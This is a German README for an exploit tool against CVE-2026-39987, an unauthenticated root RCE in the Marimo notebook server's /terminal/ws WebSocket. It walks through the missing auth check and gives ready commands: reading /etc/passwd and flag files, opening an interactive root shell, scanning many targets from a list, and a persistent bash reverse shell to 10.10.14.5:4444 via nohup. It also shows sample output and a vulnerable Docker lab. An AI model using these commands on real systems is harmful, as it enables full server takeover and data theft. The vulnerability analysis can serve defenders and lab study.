
Exploit für Marimo Pre-Auth-RCE über Terminal-WebSocket, der Befehlsausführung, interaktive PTY-Shell und Reverse-Shell-Funktionen für autorisierte Penetrationstests bereitstellt.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19,6k ⭐) ist ein quelloffener reaktiver Python-Notebook-Server. Versionen ≤ 0.20.4 legen einen Terminal-WebSocket-Endpunkt (/terminal/ws) offen, der die Authentifizierung vollständig überspringt, selbst wenn die Authentifizierung auf dem Server aktiviert ist.
Eine einzige unauthentifizierte WebSocket-Verbindung liefert eine vollständige interaktive PTY-Shell. In Standard-Docker-Bereitstellungen werden Befehle als root ausgeführt.
Status: In
0.23.0gepatcht — marimo-team/marimo@c24d480
Dem Endpunkt /terminal/ws fehlt der validate_auth()-Aufruf, der in jedem anderen authentifizierten Endpunkt vorhanden ist:
# ❌ /terminal/ws — keine Auth-Prüfung (verwundbar)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# Keine Authentifizierungsprüfung!
await websocket.accept() # akzeptiert direkt
child_pid, fd = pty.fork() # startet eine PTY-Shell
# ✅ /ws — korrekt authentifiziert
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # Auth wird erzwungen
return
Marimos AuthenticationMiddleware markiert unauthentifizierte Verbindungen als UnauthenticatedUser, lehnt sie jedoch nicht ab — die Durchsetzung hängt vollständig von endpunktspezifischen Dekoratoren oder validate_auth()-Aufrufen ab. /terminal/ws hat keines von beidem.
1. Verbinde mit ws(s)://ZIEL/terminal/ws → kein Token erforderlich
2. websocket.accept() → Verbindung wird akzeptiert
3. pty.fork() → PTY-Shell wird gestartet
4. Beliebigen Befehl senden → beliebige RCE als root
| Software | Verwundbar | Gepatcht |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
Direkt in eine interaktive Shell über das WebSocket einsteigen — kein Listener erforderlich:
python3 CVE-2026-39987.py -u target.htb -i
[+] Interaktive Shell — Befehle eingeben, Ctrl+C oder 'exit' zum Beenden
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
Bei Verwendung eines Reverse-Shell-Payloads den Prozess mit nohup ... & vom PTY lösen,
damit er das Schließen der WebSocket-Verbindung überlebt:
# Zuerst Listener einrichten
nc -lvnp 4444
# Dann den Payload auslösen
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ Ohne
nohup ... &ist der Shell-Prozess an das PTY gebunden und wird beendet, wenn das WebSocket geschlossen wird. Verwende-ifür eine direkte Shell odernohupfür Reverse Shells.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL einzelne Ziel-URL oder Host
-l LIST, --list LIST Datei mit Zielen, eines pro Zeile
-c CMD, --cmd CMD auszuführender Befehl (Standard: id && cat /root/root.txt)
-p PATH, --path PATH WebSocket-Endpunktpfad (Standard: /terminal/ws)
-t SEC, --timeout SEC Sekunden Stille vor dem Aufgeben (Standard: 2)
-d SEC, --delay SEC Verzögerung nach Verbindungsaufbau vor dem Leeren des Banners (Standard: 1)
-i, --interactive interaktive PTY-Shell — hält die Verbindung offen
--verify SSL-Zertifikatsprüfung aktivieren (standardmäßig deaktiviert)
-q, --quiet Statusmeldungen unterdrücken, nur Ausgabe
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Ziel : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Modus : Befehl
[*] Befehl : id && cat /root/root.txt
[*] Verbinde...
[*] Leere Banner...
[+] Sende Payload...
[+] Ausgabe:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Penetrationstests bereitgestellt.
Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Holen Sie immer die entsprechende Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.